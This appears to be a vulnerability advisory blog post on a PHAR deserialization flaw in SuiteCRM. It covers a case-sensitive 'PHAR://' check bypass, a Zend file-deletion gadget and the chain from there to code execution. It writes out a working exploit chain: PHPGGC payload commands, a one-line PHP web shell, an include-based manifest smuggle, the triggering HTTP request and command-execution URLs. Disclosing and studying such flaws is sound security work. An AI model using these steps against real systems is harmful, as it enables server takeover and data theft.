SuiteCRM: PHAR deserialization vulnerability to code execution
Sam Sanoop
2021年5月7日
0 分で読めますSuiteCRM is a free and open source Customer Relationship Management application for servers. This advisory details a PHAR deserialization vulnerability that exists in SuiteCRM which could be leveraged by an authenticated administrator to execute commands on the underlying operating system. This issue has been fixed in release 7.11.19.
In PHP, PHAR (PHP Archive) files can be used to package PHP applications and PHP libraries into one archive file. The PHAR format in PHP uses a single file format which can be used to store and execute multiple PHP code. PHAR files contain metadata about the files in the archive. In a PHAR file, this metadata is stored in a serialized format.
If a file operation is performed on a PHAR file via the phar://
wrapper, the PHAR file’s metadata would be unserialized. As such, an attacker could perform PHP object injection without the use of the unserialize()
function by uploading a PHAR file. This vulnerability notably gained popularity after Sam Thomas published his research work at BlackHat USA 2018 titled, It's a PHP Unserialization Vulnerability Jim, but Not as We Know It, which affected multiple Content Management Systems. In order to exploit this vulnerability, two conditions must be met:
A PHP filesystem function such as
file_exists
that can be controlled which will trigger theunserialize()
functionThe ability to upload a PHAR file with the .phar, .zip, or .jpeg extension to the target system and the path of this file to be known
Technical details of PHAR deserialization
Root Cause
This vulnerability bypasses the security mechanisms implemented by SuiteCRM maintainers as part of their remediation to CVE-2020-8801. As seen in the advisory for CVE-2020-8801, multiple areas within the SuiteCRM administrator panel which includes Backups, Import, and UpgradeWizard areas can be used to trigger PHAR deserialization. This was remediated by the maintainers within release 7.11.13 with commit 571cbfa209da4c8280a5359f301115de25b4c6e3.
The strpos
function is used to check if a user parameter contains an occurrence of the phar://
URI. However, due to the usage of the strpos
function, this check is case-sensitive. As such, it is possible to bypass this check using capital characters and trigger PHAR deserialization by calling it as PHAR://
.
Finding a usable Gadget
While it is possible to bypass the SuiteCRM patch for the PHAR URI check, it was found that SuiteCRM maintainers took precautions to ensure that all possible POP gadgets that could be triggered by an attacker using deserialization cannot be used. This was done by adding a __wakeup
magic method into classes that were considered to be dangerous. This method is automatically invoked every time an object is being unserialized and ensures that all of the object’s properties are destroyed upon deserialization. An example of this can be seen below.
Within modules/Import/sources/ImportFile.php
, a __destruct
magic method exists which could be abused to delete arbitrary files from a system through unsafe deserialization. However, due to the presence of the above __wakeup
method, this __destruct
method cannot be leveraged by an attacker. This check was found throughout SuiteCRM’s codebase.
However, a closer look at SuiteCRM’s dependencies, it was possible to find a usable __destruct
method that could be leveraged for arbitrary file deletion. SuiteCRM uses the zend-gdata
library which uses zf1/zend-http
as a transitive dependency.
Within the Stream.php file of the zf1/zend-http
package, a __destruct
method exists which when triggered, will run the @unlink
function on the $stream_name
property of an object. The @unlink
function within this method can be leveraged to delete a file. In order for this function to be triggered, a $_cleanup
property should also exist for a given object. The code for this __destruct
method can be seen below.
The existence of this gadget is already known and is available for use within the PHPGGC library. PHPGGC is a library of unserialize()
payloads along with a script to generate a POP gadget payload based on user given parameters.
Note: If all dev dependencies are also installed within a SuiteCRM installation, a vulnerable release of PHP-CS-Fixer can also be leveraged for Arbitrary File Deletion instead of zf1/zend-http
. The pull request which integrates this POP gadget to the PHPGGC can be seen here: https://github.com/ambionics/phpggc/pull/93.
Finding and Abusing an Upload Functionality
While the advisory for CVE-2020-8801 explains the parameters and the areas within SuiteCRM that can be used for PHAR deserialization, the advisory and the related blog from the researcher who discovered this issue doesn’t state where a PHAR file can be uploaded or what path/location could be leveraged. Furthermore, it was found that any file that is uploaded to SuiteCRM would be renamed to have no extension and the name of this file would be changed to a random UUID identifier. For example, party-parrot.png
uploaded as part of a document will be renamed to 51eea769-ce13-40bb-fb25-60197bf855ae
.
However, after some further walkthrough of all SuiteCRM functionality, it was found that any Module Loader zip uploads do not adhere to this behaviour, and module zip uploads are uploaded and saved at an arbitrary location with the .zip extension that can be guessed by an attacker. This can be used to fulfill the requirements of a PHAR deserialization vulnerability. An example of this can be seen below:
The uploaded examplemodule.zip file will be stored within the following location. The manifest.php file itself is taken from the module.zip directory and it is also available in the same location.
Triggering Arbitrary File Deletion
With the path of an uploaded zip file now known, a file deletion gadget being present, and functions that trigger Phar deserialization being available, it is possible to leverage these conditions to exploit a SuiteCRM installation.
Using PHPGGC, an example phar file can be created as follows:
./phpggc -p zip -o /tmp/malicious.zip -f ZendFramework/FD1 /tmp/test.txt
The above command will create a phar file with ZIP format and call it malicious.zip. This will insert a serialized payload of the previously mentioned zf1/zend-http
POP gadget and set the $stream_name
property of this serialized object to be /tmp/test.txt
. Furthermore, the -f option within PHPGGC can also be used to ensure that the serialized object will be destroyed right after the unserialize()
call, making the payload more reliable.
Note: In order for this zip file to be accepted by the application, an example manifest.php file should also be added to the zip. This can be done as follows within Linux:
zip -rv malicious.zip manifest.php
Once uploaded, this file will now be located in the upload/upgrades/module
directory.
This file can now be triggered through the Backups section within the SuiteCRM admin panel.
File Deletion to Code Execution
By leveraging file deletion, it is possible to delete application source code files and conduct denial of service attacks. It is also possible to leverage file deletion to execute arbitrary code execution on a SuiteCRM installation by deleting an .htaccess file and accessing uploaded files directly.
The .htaccess is a distributed configuration file, and is how Apache handles configuration changes on a per directory basis. Within a SuiteCRM installation, this file disallows the direct access to directories such as /upload
and /files
. PHAR deserialization can be leveraged to delete this file. Furthermore, the mainfest.php mentioned previously can be used to smuggle and trigger PHP code.
When a module is uploaded within the Module loader functionality, SuiteCRM expects a manifest.php to also be present. An example of this can be seen below:
By default, SuiteCRM will ensure that the uploaded file must not contain any suspicious function calls such as exec
or system
. A full list of restricted function calls can be seen here: Module Loader Restrictions
This check does not take into account the “include” function. The include function can be used within PHP to include files (local files by default) which are executed as PHP code. So an include function can be smuggled into the manifest file which takes a user parameter (include($_GET['p']);
) , an uploaded file (which are renamed by SuiteCRM) can then be provided which contains malicious PHP code to achieve code execution.
PHAR deserialization summary
So, to summarize, PHAR deserialization to code execution is as follows:
1. Upload a file to SuiteCRM
Upload a file to the SuiteCRM through its normal storage functionality. In this instance the following is uploaded as shell.php: <?php echo system($_GET["cmd"]); ?>
This is renamed to the file eb7cde01-6190-9ca9-b81b-601998504b41
by the application and stored within the /var/www/html/uploads
directory. This UID can be seen in the file URL:
http://suitecrm.local/index.php?entryPoint=download&id=eb7cde01-6190-9ca9-b81b-601998504b41&type=Documents
2. Upload a ZIP PHAR
Upload a ZIP PHAR archive which, when triggered, will delete the .htaccess file and has a manifest.php which contains smuggled PHP code. PHPGGC can be used as follows:
./phpggc -p zip -o /tmp/maliciousmodule.zip -f ZendFramework/FD1 /var/www/html/.htaccess
The following code can then be added to a manifest.php file and then added to the PHAR ZIP archive.
This ZIP archive can then be uploaded to the system using the module loader component.
3. Trigger the PHAR deserialization
Trigger the PHAR deserialization by calling the maliciousmodule.zip file. The Backups area can be used to trigger PHAR deserialization. The HTTP request send to the application is as follows:
POST /index.php?module=Administration&action=Backups HTTP/1.1
Host: suitecrm.local
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 119
Origin: http://suitecrm.local
Connection: close
Referer: http://suitecrm.local/index.php?module=Administration&action=Backups
Cookie: sugar_user_theme=SuiteP; ck_login_id_20=1; ck_login_language_20=en_us; EmailGridWidths=0=10&1=10&2=150&3=250&4=175&5=125; PHPSESSID=6b8f472cd174d02167bc0a0c908ec9e0
Upgrade-Insecure-Requests: 1
backup_dir=PHAR%3A%2F%2F%2Fvar%2Fwww%2Fhtml%2Fupload%2Fupgrades%2Fmodule%2Fmaliciousmodule.zip&backup_zip=s&run=confirm
4. Access the maliciousmodule
manifest
Access the malicousmodule
manifest file by browsing to the directory path and include the uploaded shell.php.txt. Now that the .htaccess file is deleted, the upload directory is accessible. The malcioiusmodule-manifest.php is now accessible as follows:
http://suitecrm.local/upload/upgrades/module/maliciousmodule-manifest.php
The ?123 can now be specified and the shell.php.txt file can be provided:
http://suitecrm.local/upload/upgrades/module/maliciousmodule-manifest.php?123=/var/www/html/upload/eb7cde01-6190-9ca9-b81b-601998504b41
The included shell.php.txt will be interpreted as code, and the cmd parameter can be provided which will be executed by the system command.
http://suitecrm.local/upload/upgrades/module/maliciousmodule-manifest.php?123=/var/www/html/upload/eb7cde01-6190-9ca9-b81b-601998504b41&cmd=id
Wrapping up
To conclude, when validating user input, precautions should be taken to ensure the checks are not case-sensitive. Furthermore, when remediating and preventing the use of deserialization gadgets, transitive dependencies should be taken into account since they are loaded by a project through Composer's autoloading feature. Snyk Open Source also supports PHP scanning and can be used to scan and report on well-known libraries that have removed deserialization gadgets in their code.